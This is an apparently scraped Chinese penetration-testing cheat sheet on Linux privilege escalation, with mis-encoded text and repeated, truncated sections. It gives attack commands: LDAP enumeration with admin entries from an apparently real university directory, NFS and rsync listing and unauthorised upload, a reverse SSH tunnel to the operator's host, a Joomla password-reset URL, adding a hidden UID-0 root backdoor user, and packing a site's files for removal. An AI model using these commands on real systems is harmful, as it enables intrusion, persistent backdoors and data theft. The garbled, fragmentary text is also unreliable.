liunx 相關(guān)提權(quán)滲透技巧總結(jié),一、ldap 滲透技巧: 1.cat /etc/nsswitch 2.less /etc/ldap.conf 3.查找管理員信息 匿名方式 有密碼形式 4.查找10條用戶記錄 實戰(zhàn): 2.less /etc/ldap.conf 3.查找管理員信息 匿名方式 有密碼形式 4.查找10條用戶記錄 滲透實戰(zhàn): dn: uid=manager,dc=ruc,dc=edu,dc=cn dn: uid=superadmin,dc=ruc,dc=edu,dc=cn dn: uid=admin,dc=ruc,dc=edu,dc=cn dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn 2.查看基類 more 3.查找 |
liunx 相關(guān)提權(quán)滲透技巧總結(jié),二、NFS 滲透技巧: 列舉IP:showmount -e ip |
liunx 相關(guān)提權(quán)滲透技巧總結(jié),三、rsync滲透技巧: 1.查看rsync服務(wù)器上的列表: rsync 210.51.X.X:: 看相應(yīng)的下級目錄(注意一定要在目錄后面添加上/) rsync 210.51.X.X::htdocs_app/ 2.下載rsync服務(wù)器上的配置文件 3.向上更新rsync文件(成功上傳,不會覆蓋) http://app.finance.xxx.com/warn/nothack.txt |
liunx 相關(guān)提權(quán)滲透技巧總結(jié),四、squid滲透技巧: nc -vv baidu.com 80 |
liunx 相關(guān)提權(quán)滲透技巧總結(jié),五、SSH端口轉(zhuǎn)發(fā): ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip |
liunx 相關(guān)提權(quán)滲透技巧總結(jié),六、joomla滲透小技巧: 確定版本: index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-15&catid=32:languages&Itemid=47 重新設(shè)置密碼: index.php?option=com_user&view=reset&layout=confirm |
liunx 相關(guān)提權(quán)滲透技巧總結(jié),七、Linux添加UID為0的root用戶: useradd -o -u 0 nothack |
liunx 相關(guān)提權(quán)滲透技巧總結(jié),八、freebsd本地提權(quán): [argp@julius ~]$ uname -rsi |
tar 文件夾打包: 1、tar打包: tar -cvf /home/public_html/*.tar /home/public_html/–exclude=排除文件*.gif 排除目錄 /xx/xx/* 提權(quán)先執(zhí)行systeminfo |